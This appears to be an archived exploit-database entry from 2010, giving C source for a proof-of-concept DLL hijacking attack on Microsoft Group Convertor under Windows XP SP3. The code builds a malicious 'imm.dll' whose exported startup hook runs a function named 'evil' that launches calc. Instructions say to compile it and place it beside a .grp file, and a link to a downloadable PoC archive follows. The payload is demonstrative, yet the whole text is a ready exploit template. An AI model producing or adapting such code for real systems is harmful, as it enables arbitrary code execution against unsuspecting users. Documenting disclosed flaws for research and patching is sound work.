Microsoft Group Convertor - 'imm.dll' DLL Hijacking

/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora

Exploit Title: Microsoft Group Convertor DLL Hijacking (imm.dll)
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: grp

Compile and rename to imm.dll, create a file in the same dir with one of the
following extensions:
.grp
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14758.zip